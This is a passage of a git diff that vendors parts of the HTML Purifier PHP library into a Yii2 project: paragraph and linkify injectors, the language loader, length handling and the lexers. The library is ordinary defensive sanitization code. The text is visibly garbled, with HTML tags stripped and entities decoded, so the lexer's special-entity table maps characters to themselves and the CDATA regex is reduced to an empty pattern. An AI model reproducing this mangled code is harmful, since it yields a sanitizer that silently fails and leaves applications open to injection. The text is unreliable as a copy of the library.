          + } + } + + /** + * Returns true if passed token is inline (and, ergo, allowed in + * paragraph tags) + * @param HTMLPurifier_Token $token + * @return bool + */ + private function _isInline($token) + { + return isset($this->htmlDefinition->info['p']->child->elements[$token->name]); + } + + /** + * Looks ahead in the token list and determines whether or not we need + * to insert a

          tag. + * @return bool + */ + private function _pLookAhead() + { + if ($this->currentToken instanceof HTMLPurifier_Token_Start) { + $nesting = 1; + } else { + $nesting = 0; + } + $ok = false; + $i = null; + while ($this->forwardUntilEndToken($i, $current, $nesting)) { + $result = $this->_checkNeedsP($current); + if ($result !== null) { + $ok = $result; + break; + } + } + return $ok; + } + + /** + * Determines if a particular token requires an earlier inline token + * to get a paragraph. This should be used with _forwardUntilEndToken + * @param HTMLPurifier_Token $current + * @return bool + */ + private function _checkNeedsP($current) + { + if ($current instanceof HTMLPurifier_Token_Start) { + if (!$this->_isInline($current)) { + //

          PAR1
          + // ---- + // Terminate early, since we hit a block element + return false; + } + } elseif ($current instanceof HTMLPurifier_Token_Text) { + if (strpos($current->data, "\n\n") !== false) { + //
          PAR1PAR1\n\nPAR2 + // ---- + return true; + } else { + //
          PAR1PAR1... + // ---- + } + } + return null; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php new file mode 100644 index 00000000..c19b1bc2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/DisplayLinkURI.php @@ -0,0 +1,40 @@ +start->attr['href'])) { + $url = $token->start->attr['href']; + unset($token->start->attr['href']); + $token = array($token, new HTMLPurifier_Token_Text(" ($url)")); + } else { + // nothing to display + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php new file mode 100644 index 00000000..069708c2 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/Linkify.php @@ -0,0 +1,59 @@ + array('href')); + + /** + * @param HTMLPurifier_Token $token + */ + public function handleText(&$token) + { + if (!$this->allowsElement('a')) { + return; + } + + if (strpos($token->data, '://') === false) { + // our really quick heuristic failed, abort + // this may not work so well if we want to match things like + // "google.com", but then again, most people don't + return; + } + + // there is/are URL(s). Let's split the string: + // Note: this regex is extremely permissive + $bits = preg_split('#((?:https?|ftp)://[^\s\'",<>()]+)#Su', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); + + + $token = array(); + + // $i = index + // $c = count + // $l = is link + for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { + if (!$l) { + if ($bits[$i] === '') { + continue; + } + $token[] = new HTMLPurifier_Token_Text($bits[$i]); + } else { + $token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i])); + $token[] = new HTMLPurifier_Token_Text($bits[$i]); + $token[] = new HTMLPurifier_Token_End('a'); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php new file mode 100644 index 00000000..cb9046f3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/PurifierLinkify.php @@ -0,0 +1,71 @@ + array('href')); + + /** + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return string + */ + public function prepare($config, $context) + { + $this->docURL = $config->get('AutoFormat.PurifierLinkify.DocURL'); + return parent::prepare($config, $context); + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleText(&$token) + { + if (!$this->allowsElement('a')) { + return; + } + if (strpos($token->data, '%') === false) { + return; + } + + $bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); + $token = array(); + + // $i = index + // $c = count + // $l = is link + for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { + if (!$l) { + if ($bits[$i] === '') { + continue; + } + $token[] = new HTMLPurifier_Token_Text($bits[$i]); + } else { + $token[] = new HTMLPurifier_Token_Start( + 'a', + array('href' => str_replace('%s', $bits[$i], $this->docURL)) + ); + $token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]); + $token[] = new HTMLPurifier_Token_End('a'); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php new file mode 100644 index 00000000..cd885722 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveEmpty.php @@ -0,0 +1,101 @@ + 1, 'th' => 1, 'td' => 1, 'iframe' => 1); + + /** + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return void + */ + public function prepare($config, $context) + { + parent::prepare($config, $context); + $this->config = $config; + $this->context = $context; + $this->removeNbsp = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp'); + $this->removeNbspExceptions = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions'); + $this->attrValidator = new HTMLPurifier_AttrValidator(); + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleElement(&$token) + { + if (!$token instanceof HTMLPurifier_Token_Start) { + return; + } + $next = false; + $deleted = 1; // the current tag + for ($i = count($this->inputZipper->back) - 1; $i >= 0; $i--, $deleted++) { + $next = $this->inputZipper->back[$i]; + if ($next instanceof HTMLPurifier_Token_Text) { + if ($next->is_whitespace) { + continue; + } + if ($this->removeNbsp && !isset($this->removeNbspExceptions[$token->name])) { + $plain = str_replace("\xC2\xA0", "", $next->data); + $isWsOrNbsp = $plain === '' || ctype_space($plain); + if ($isWsOrNbsp) { + continue; + } + } + } + break; + } + if (!$next || ($next instanceof HTMLPurifier_Token_End && $next->name == $token->name)) { + if (isset($this->_exclude[$token->name])) { + return; + } + $this->attrValidator->validateToken($token, $this->config, $this->context); + $token->armor['ValidateAttributes'] = true; + if (isset($token->attr['id']) || isset($token->attr['name'])) { + return; + } + $token = $deleted + 1; + for ($b = 0, $c = count($this->inputZipper->front); $b < $c; $b++) { + $prev = $this->inputZipper->front[$b]; + if ($prev instanceof HTMLPurifier_Token_Text && $prev->is_whitespace) { + continue; + } + break; + } + // This is safe because we removed the token that triggered this. + $this->rewindOffset($b+$deleted); + return; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php new file mode 100644 index 00000000..9ee7aa84 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php @@ -0,0 +1,84 @@ +attrValidator = new HTMLPurifier_AttrValidator(); + $this->config = $config; + $this->context = $context; + return parent::prepare($config, $context); + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleElement(&$token) + { + if ($token->name !== 'span' || !$token instanceof HTMLPurifier_Token_Start) { + return; + } + + // We need to validate the attributes now since this doesn't normally + // happen until after MakeWellFormed. If all the attributes are removed + // the span needs to be removed too. + $this->attrValidator->validateToken($token, $this->config, $this->context); + $token->armor['ValidateAttributes'] = true; + + if (!empty($token->attr)) { + return; + } + + $nesting = 0; + while ($this->forwardUntilEndToken($i, $current, $nesting)) { + } + + if ($current instanceof HTMLPurifier_Token_End && $current->name === 'span') { + // Mark closing span tag for deletion + $current->markForDeletion = true; + // Delete open span tag + $token = false; + } + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleEnd(&$token) + { + if ($token->markForDeletion) { + $token = false; + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php new file mode 100644 index 00000000..3d17e07a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Injector/SafeObject.php @@ -0,0 +1,121 @@ + 'never', + 'allowNetworking' => 'internal', + ); + + /** + * @type array + */ + protected $allowedParam = array( + 'wmode' => true, + 'movie' => true, + 'flashvars' => true, + 'src' => true, + 'allowFullScreen' => true, // if omitted, assume to be 'false' + ); + + /** + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return void + */ + public function prepare($config, $context) + { + parent::prepare($config, $context); + } + + /** + * @param HTMLPurifier_Token $token + */ + public function handleElement(&$token) + { + if ($token->name == 'object') { + $this->objectStack[] = $token; + $this->paramStack[] = array(); + $new = array($token); + foreach ($this->addParam as $name => $value) { + $new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name, 'value' => $value)); + } + $token = $new; + } elseif ($token->name == 'param') { + $nest = count($this->currentNesting) - 1; + if ($nest >= 0 && $this->currentNesting[$nest]->name === 'object') { + $i = count($this->objectStack) - 1; + if (!isset($token->attr['name'])) { + $token = false; + return; + } + $n = $token->attr['name']; + // We need this fix because YouTube doesn't supply a data + // attribute, which we need if a type is specified. This is + // *very* Flash specific. + if (!isset($this->objectStack[$i]->attr['data']) && + ($token->attr['name'] == 'movie' || $token->attr['name'] == 'src') + ) { + $this->objectStack[$i]->attr['data'] = $token->attr['value']; + } + // Check if the parameter is the correct value but has not + // already been added + if (!isset($this->paramStack[$i][$n]) && + isset($this->addParam[$n]) && + $token->attr['name'] === $this->addParam[$n]) { + // keep token, and add to param stack + $this->paramStack[$i][$n] = true; + } elseif (isset($this->allowedParam[$n])) { + // keep token, don't do anything to it + // (could possibly check for duplicates here) + } else { + $token = false; + } + } else { + // not directly inside an object, DENY! + $token = false; + } + } + } + + public function handleEnd(&$token) + { + // This is the WRONG way of handling the object and param stacks; + // we should be inserting them directly on the relevant object tokens + // so that the global stack handling handles it. + if ($token->name == 'object') { + array_pop($this->objectStack); + array_pop($this->paramStack); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php new file mode 100644 index 00000000..65277dd4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language.php @@ -0,0 +1,204 @@ +config = $config; + $this->context = $context; + } + + /** + * Loads language object with necessary info from factory cache + * @note This is a lazy loader + */ + public function load() + { + if ($this->_loaded) { + return; + } + $factory = HTMLPurifier_LanguageFactory::instance(); + $factory->loadLanguage($this->code); + foreach ($factory->keys as $key) { + $this->$key = $factory->cache[$this->code][$key]; + } + $this->_loaded = true; + } + + /** + * Retrieves a localised message. + * @param string $key string identifier of message + * @return string localised message + */ + public function getMessage($key) + { + if (!$this->_loaded) { + $this->load(); + } + if (!isset($this->messages[$key])) { + return "[$key]"; + } + return $this->messages[$key]; + } + + /** + * Retrieves a localised error name. + * @param int $int error number, corresponding to PHP's error reporting + * @return string localised message + */ + public function getErrorName($int) + { + if (!$this->_loaded) { + $this->load(); + } + if (!isset($this->errorNames[$int])) { + return "[Error: $int]"; + } + return $this->errorNames[$int]; + } + + /** + * Converts an array list into a string readable representation + * @param array $array + * @return string + */ + public function listify($array) + { + $sep = $this->getMessage('Item separator'); + $sep_last = $this->getMessage('Item separator last'); + $ret = ''; + for ($i = 0, $c = count($array); $i < $c; $i++) { + if ($i == 0) { + } elseif ($i + 1 < $c) { + $ret .= $sep; + } else { + $ret .= $sep_last; + } + $ret .= $array[$i]; + } + return $ret; + } + + /** + * Formats a localised message with passed parameters + * @param string $key string identifier of message + * @param array $args Parameters to substitute in + * @return string localised message + * @todo Implement conditionals? Right now, some messages make + * reference to line numbers, but those aren't always available + */ + public function formatMessage($key, $args = array()) + { + if (!$this->_loaded) { + $this->load(); + } + if (!isset($this->messages[$key])) { + return "[$key]"; + } + $raw = $this->messages[$key]; + $subst = array(); + $generator = false; + foreach ($args as $i => $value) { + if (is_object($value)) { + if ($value instanceof HTMLPurifier_Token) { + // factor this out some time + if (!$generator) { + $generator = $this->context->get('Generator'); + } + if (isset($value->name)) { + $subst['$'.$i.'.Name'] = $value->name; + } + if (isset($value->data)) { + $subst['$'.$i.'.Data'] = $value->data; + } + $subst['$'.$i.'.Compact'] = + $subst['$'.$i.'.Serialized'] = $generator->generateFromToken($value); + // a more complex algorithm for compact representation + // could be introduced for all types of tokens. This + // may need to be factored out into a dedicated class + if (!empty($value->attr)) { + $stripped_token = clone $value; + $stripped_token->attr = array(); + $subst['$'.$i.'.Compact'] = $generator->generateFromToken($stripped_token); + } + $subst['$'.$i.'.Line'] = $value->line ? $value->line : 'unknown'; + } + continue; + } elseif (is_array($value)) { + $keys = array_keys($value); + if (array_keys($keys) === $keys) { + // list + $subst['$'.$i] = $this->listify($value); + } else { + // associative array + // no $i implementation yet, sorry + $subst['$'.$i.'.Keys'] = $this->listify($keys); + $subst['$'.$i.'.Values'] = $this->listify(array_values($value)); + } + continue; + } + $subst['$' . $i] = $value; + } + return strtr($raw, $subst); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php new file mode 100644 index 00000000..8828f5cd --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/classes/en-x-test.php @@ -0,0 +1,9 @@ + 'HTML Purifier X' +); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php new file mode 100644 index 00000000..806c83fb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en-x-testmini.php @@ -0,0 +1,12 @@ + 'HTML Purifier XNone' +); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php new file mode 100644 index 00000000..c7f197e1 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Language/messages/en.php @@ -0,0 +1,55 @@ + 'HTML Purifier', +// for unit testing purposes + 'LanguageFactoryTest: Pizza' => 'Pizza', + 'LanguageTest: List' => '$1', + 'LanguageTest: Hash' => '$1.Keys; $1.Values', + 'Item separator' => ', ', + 'Item separator last' => ' and ', // non-Harvard style + + 'ErrorCollector: No errors' => 'No errors detected. However, because error reporting is still incomplete, there may have been errors that the error collector was not notified of; please inspect the output HTML carefully.', + 'ErrorCollector: At line' => ' at line $line', + 'ErrorCollector: Incidental errors' => 'Incidental errors', + 'Lexer: Unclosed comment' => 'Unclosed comment', + 'Lexer: Unescaped lt' => 'Unescaped less-than sign (<) should be <', + 'Lexer: Missing gt' => 'Missing greater-than sign (>), previous less-than sign (<) should be escaped', + 'Lexer: Missing attribute key' => 'Attribute declaration has no key', + 'Lexer: Missing end quote' => 'Attribute declaration has no end quote', + 'Lexer: Extracted body' => 'Removed document metadata tags', + 'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized', + 'Strategy_RemoveForeignElements: Missing required attribute' => '$CurrentToken.Compact element missing required attribute $1', + 'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text', + 'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed', + 'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed', + 'Strategy_RemoveForeignElements: Foreign meta element removed' => 'Unrecognized $CurrentToken.Serialized meta tag and all descendants removed', + 'Strategy_RemoveForeignElements: Token removed to end' => 'Tags and text starting from $1 element where removed to end', + 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' => 'Trailing hyphen(s) in comment removed', + 'Strategy_RemoveForeignElements: Hyphens in comment collapsed' => 'Double hyphens in comments are not allowed, and were collapsed into single hyphens', + 'Strategy_MakeWellFormed: Unnecessary end tag removed' => 'Unnecessary $CurrentToken.Serialized tag removed', + 'Strategy_MakeWellFormed: Unnecessary end tag to text' => 'Unnecessary $CurrentToken.Serialized tag converted to text', + 'Strategy_MakeWellFormed: Tag auto closed' => '$1.Compact started on line $1.Line auto-closed by $CurrentToken.Compact', + 'Strategy_MakeWellFormed: Tag carryover' => '$1.Compact started on line $1.Line auto-continued into $CurrentToken.Compact', + 'Strategy_MakeWellFormed: Stray end tag removed' => 'Stray $CurrentToken.Serialized tag removed', + 'Strategy_MakeWellFormed: Stray end tag to text' => 'Stray $CurrentToken.Serialized tag converted to text', + 'Strategy_MakeWellFormed: Tag closed by element end' => '$1.Compact tag started on line $1.Line closed by end of $CurrentToken.Serialized', + 'Strategy_MakeWellFormed: Tag closed by document end' => '$1.Compact tag started on line $1.Line closed by end of document', + 'Strategy_FixNesting: Node removed' => '$CurrentToken.Compact node removed', + 'Strategy_FixNesting: Node excluded' => '$CurrentToken.Compact node removed due to descendant exclusion by ancestor element', + 'Strategy_FixNesting: Node reorganized' => 'Contents of $CurrentToken.Compact node reorganized to enforce its content model', + 'Strategy_FixNesting: Node contents removed' => 'Contents of $CurrentToken.Compact node removed', + 'AttrValidator: Attributes transformed' => 'Attributes on $CurrentToken.Compact transformed from $1.Keys to $2.Keys', + 'AttrValidator: Attribute removed' => '$CurrentAttr.Name attribute on $CurrentToken.Compact removed', +); + +$errorNames = array( + E_ERROR => 'Error', + E_WARNING => 'Warning', + E_NOTICE => 'Notice' +); + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php new file mode 100644 index 00000000..4e35272d --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/LanguageFactory.php @@ -0,0 +1,209 @@ +cache[$language_code][$key] = $value + * @type array + */ + public $cache; + + /** + * Valid keys in the HTMLPurifier_Language object. Designates which + * variables to slurp out of a message file. + * @type array + */ + public $keys = array('fallback', 'messages', 'errorNames'); + + /** + * Instance to validate language codes. + * @type HTMLPurifier_AttrDef_Lang + * + */ + protected $validator; + + /** + * Cached copy of dirname(__FILE__), directory of current file without + * trailing slash. + * @type string + */ + protected $dir; + + /** + * Keys whose contents are a hash map and can be merged. + * @type array + */ + protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true); + + /** + * Keys whose contents are a list and can be merged. + * @value array lookup + */ + protected $mergeable_keys_list = array(); + + /** + * Retrieve sole instance of the factory. + * @param HTMLPurifier_LanguageFactory $prototype Optional prototype to overload sole instance with, + * or bool true to reset to default factory. + * @return HTMLPurifier_LanguageFactory + */ + public static function instance($prototype = null) + { + static $instance = null; + if ($prototype !== null) { + $instance = $prototype; + } elseif ($instance === null || $prototype == true) { + $instance = new HTMLPurifier_LanguageFactory(); + $instance->setup(); + } + return $instance; + } + + /** + * Sets up the singleton, much like a constructor + * @note Prevents people from getting this outside of the singleton + */ + public function setup() + { + $this->validator = new HTMLPurifier_AttrDef_Lang(); + $this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier'; + } + + /** + * Creates a language object, handles class fallbacks + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @param bool|string $code Code to override configuration with. Private parameter. + * @return HTMLPurifier_Language + */ + public function create($config, $context, $code = false) + { + // validate language code + if ($code === false) { + $code = $this->validator->validate( + $config->get('Core.Language'), + $config, + $context + ); + } else { + $code = $this->validator->validate($code, $config, $context); + } + if ($code === false) { + $code = 'en'; // malformed code becomes English + } + + $pcode = str_replace('-', '_', $code); // make valid PHP classname + static $depth = 0; // recursion protection + + if ($code == 'en') { + $lang = new HTMLPurifier_Language($config, $context); + } else { + $class = 'HTMLPurifier_Language_' . $pcode; + $file = $this->dir . '/Language/classes/' . $code . '.php'; + if (file_exists($file) || class_exists($class, false)) { + $lang = new $class($config, $context); + } else { + // Go fallback + $raw_fallback = $this->getFallbackFor($code); + $fallback = $raw_fallback ? $raw_fallback : 'en'; + $depth++; + $lang = $this->create($config, $context, $fallback); + if (!$raw_fallback) { + $lang->error = true; + } + $depth--; + } + } + $lang->code = $code; + return $lang; + } + + /** + * Returns the fallback language for language + * @note Loads the original language into cache + * @param string $code language code + * @return string|bool + */ + public function getFallbackFor($code) + { + $this->loadLanguage($code); + return $this->cache[$code]['fallback']; + } + + /** + * Loads language into the cache, handles message file and fallbacks + * @param string $code language code + */ + public function loadLanguage($code) + { + static $languages_seen = array(); // recursion guard + + // abort if we've already loaded it + if (isset($this->cache[$code])) { + return; + } + + // generate filename + $filename = $this->dir . '/Language/messages/' . $code . '.php'; + + // default fallback : may be overwritten by the ensuing include + $fallback = ($code != 'en') ? 'en' : false; + + // load primary localisation + if (!file_exists($filename)) { + // skip the include: will rely solely on fallback + $filename = $this->dir . '/Language/messages/en.php'; + $cache = array(); + } else { + include $filename; + $cache = compact($this->keys); + } + + // load fallback localisation + if (!empty($fallback)) { + + // infinite recursion guard + if (isset($languages_seen[$code])) { + trigger_error( + 'Circular fallback reference in language ' . + $code, + E_USER_ERROR + ); + $fallback = 'en'; + } + $language_seen[$code] = true; + + // load the fallback recursively + $this->loadLanguage($fallback); + $fallback_cache = $this->cache[$fallback]; + + // merge fallback with current language + foreach ($this->keys as $key) { + if (isset($cache[$key]) && isset($fallback_cache[$key])) { + if (isset($this->mergeable_keys_map[$key])) { + $cache[$key] = $cache[$key] + $fallback_cache[$key]; + } elseif (isset($this->mergeable_keys_list[$key])) { + $cache[$key] = array_merge($fallback_cache[$key], $cache[$key]); + } + } else { + $cache[$key] = $fallback_cache[$key]; + } + } + } + + // save to cache for later retrieval + $this->cache[$code] = $cache; + return; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php new file mode 100644 index 00000000..bbfbe662 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Length.php @@ -0,0 +1,160 @@ + true, 'ex' => true, 'px' => true, 'in' => true, + 'cm' => true, 'mm' => true, 'pt' => true, 'pc' => true + ); + + /** + * @param string $n Magnitude + * @param bool|string $u Unit + */ + public function __construct($n = '0', $u = false) + { + $this->n = (string) $n; + $this->unit = $u !== false ? (string) $u : false; + } + + /** + * @param string $s Unit string, like '2em' or '3.4in' + * @return HTMLPurifier_Length + * @warning Does not perform validation. + */ + public static function make($s) + { + if ($s instanceof HTMLPurifier_Length) { + return $s; + } + $n_length = strspn($s, '1234567890.+-'); + $n = substr($s, 0, $n_length); + $unit = substr($s, $n_length); + if ($unit === '') { + $unit = false; + } + return new HTMLPurifier_Length($n, $unit); + } + + /** + * Validates the number and unit. + * @return bool + */ + protected function validate() + { + // Special case: + if ($this->n === '+0' || $this->n === '-0') { + $this->n = '0'; + } + if ($this->n === '0' && $this->unit === false) { + return true; + } + if (!ctype_lower($this->unit)) { + $this->unit = strtolower($this->unit); + } + if (!isset(HTMLPurifier_Length::$allowedUnits[$this->unit])) { + return false; + } + // Hack: + $def = new HTMLPurifier_AttrDef_CSS_Number(); + $result = $def->validate($this->n, false, false); + if ($result === false) { + return false; + } + $this->n = $result; + return true; + } + + /** + * Returns string representation of number. + * @return string + */ + public function toString() + { + if (!$this->isValid()) { + return false; + } + return $this->n . $this->unit; + } + + /** + * Retrieves string numeric magnitude. + * @return string + */ + public function getN() + { + return $this->n; + } + + /** + * Retrieves string unit. + * @return string + */ + public function getUnit() + { + return $this->unit; + } + + /** + * Returns true if this length unit is valid. + * @return bool + */ + public function isValid() + { + if ($this->isValid === null) { + $this->isValid = $this->validate(); + } + return $this->isValid; + } + + /** + * Compares two lengths, and returns 1 if greater, -1 if less and 0 if equal. + * @param HTMLPurifier_Length $l + * @return int + * @warning If both values are too large or small, this calculation will + * not work properly + */ + public function compareTo($l) + { + if ($l === false) { + return false; + } + if ($l->unit !== $this->unit) { + $converter = new HTMLPurifier_UnitConverter(); + $l = $converter->convert($l, $this->unit); + if ($l === false) { + return false; + } + } + return $this->n - $l->n; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php new file mode 100644 index 00000000..43732621 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer.php @@ -0,0 +1,357 @@ +get('Core.LexerImpl'); + } + + $needs_tracking = + $config->get('Core.MaintainLineNumbers') || + $config->get('Core.CollectErrors'); + + $inst = null; + if (is_object($lexer)) { + $inst = $lexer; + } else { + if (is_null($lexer)) { + do { + // auto-detection algorithm + if ($needs_tracking) { + $lexer = 'DirectLex'; + break; + } + + if (class_exists('DOMDocument') && + method_exists('DOMDocument', 'loadHTML') && + !extension_loaded('domxml') + ) { + // check for DOM support, because while it's part of the + // core, it can be disabled compile time. Also, the PECL + // domxml extension overrides the default DOM, and is evil + // and nasty and we shan't bother to support it + $lexer = 'DOMLex'; + } else { + $lexer = 'DirectLex'; + } + } while (0); + } // do..while so we can break + + // instantiate recognized string names + switch ($lexer) { + case 'DOMLex': + $inst = new HTMLPurifier_Lexer_DOMLex(); + break; + case 'DirectLex': + $inst = new HTMLPurifier_Lexer_DirectLex(); + break; + case 'PH5P': + $inst = new HTMLPurifier_Lexer_PH5P(); + break; + default: + throw new HTMLPurifier_Exception( + "Cannot instantiate unrecognized Lexer type " . + htmlspecialchars($lexer) + ); + } + } + + if (!$inst) { + throw new HTMLPurifier_Exception('No lexer was instantiated'); + } + + // once PHP DOM implements native line numbers, or we + // hack out something using XSLT, remove this stipulation + if ($needs_tracking && !$inst->tracksLineNumbers) { + throw new HTMLPurifier_Exception( + 'Cannot use lexer that does not support line numbers with ' . + 'Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)' + ); + } + + return $inst; + + } + + // -- CONVENIENCE MEMBERS --------------------------------------------- + + public function __construct() + { + $this->_entity_parser = new HTMLPurifier_EntityParser(); + } + + /** + * Most common entity to raw value conversion table for special entities. + * @type array + */ + protected $_special_entity2str = + array( + '"' => '"', + '&' => '&', + '<' => '<', + '>' => '>', + ''' => "'", + ''' => "'", + ''' => "'" + ); + + /** + * Parses special entities into the proper characters. + * + * This string will translate escaped versions of the special characters + * into the correct ones. + * + * @warning + * You should be able to treat the output of this function as + * completely parsed, but that's only because all other entities should + * have been handled previously in substituteNonSpecialEntities() + * + * @param string $string String character data to be parsed. + * @return string Parsed character data. + */ + public function parseData($string) + { + // following functions require at least one character + if ($string === '') { + return ''; + } + + // subtracts amps that cannot possibly be escaped + $num_amp = substr_count($string, '&') - substr_count($string, '& ') - + ($string[strlen($string) - 1] === '&' ? 1 : 0); + + if (!$num_amp) { + return $string; + } // abort if no entities + $num_esc_amp = substr_count($string, '&'); + $string = strtr($string, $this->_special_entity2str); + + // code duplication for sake of optimization, see above + $num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') - + ($string[strlen($string) - 1] === '&' ? 1 : 0); + + if ($num_amp_2 <= $num_esc_amp) { + return $string; + } + + // hmm... now we have some uncommon entities. Use the callback. + $string = $this->_entity_parser->substituteSpecialEntities($string); + return $string; + } + + /** + * Lexes an HTML string into tokens. + * @param $string String HTML. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_Token[] array representation of HTML. + */ + public function tokenizeHTML($string, $config, $context) + { + trigger_error('Call to abstract class', E_USER_ERROR); + } + + /** + * Translates CDATA sections into regular sections (through escaping). + * @param string $string HTML string to process. + * @return string HTML with CDATA sections escaped. + */ + protected static function escapeCDATA($string) + { + return preg_replace_callback( + '//s', + array('HTMLPurifier_Lexer', 'CDATACallback'), + $string + ); + } + + /** + * Special CDATA case that is especially convoluted for )#si', + array($this, 'scriptCallback'), + $html + ); + } + + $html = $this->normalize($html, $config, $context); + + $cursor = 0; // our location in the text + $inside_tag = false; // whether or not we're parsing the inside of a tag + $array = array(); // result array + + // This is also treated to mean maintain *column* numbers too + $maintain_line_numbers = $config->get('Core.MaintainLineNumbers'); + + if ($maintain_line_numbers === null) { + // automatically determine line numbering by checking + // if error collection is on + $maintain_line_numbers = $config->get('Core.CollectErrors'); + } + + if ($maintain_line_numbers) { + $current_line = 1; + $current_col = 0; + $length = strlen($html); + } else { + $current_line = false; + $current_col = false; + $length = false; + } + $context->register('CurrentLine', $current_line); + $context->register('CurrentCol', $current_col); + $nl = "\n"; + // how often to manually recalculate. This will ALWAYS be right, + // but it's pretty wasteful. Set to 0 to turn off + $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval'); + + $e = false; + if 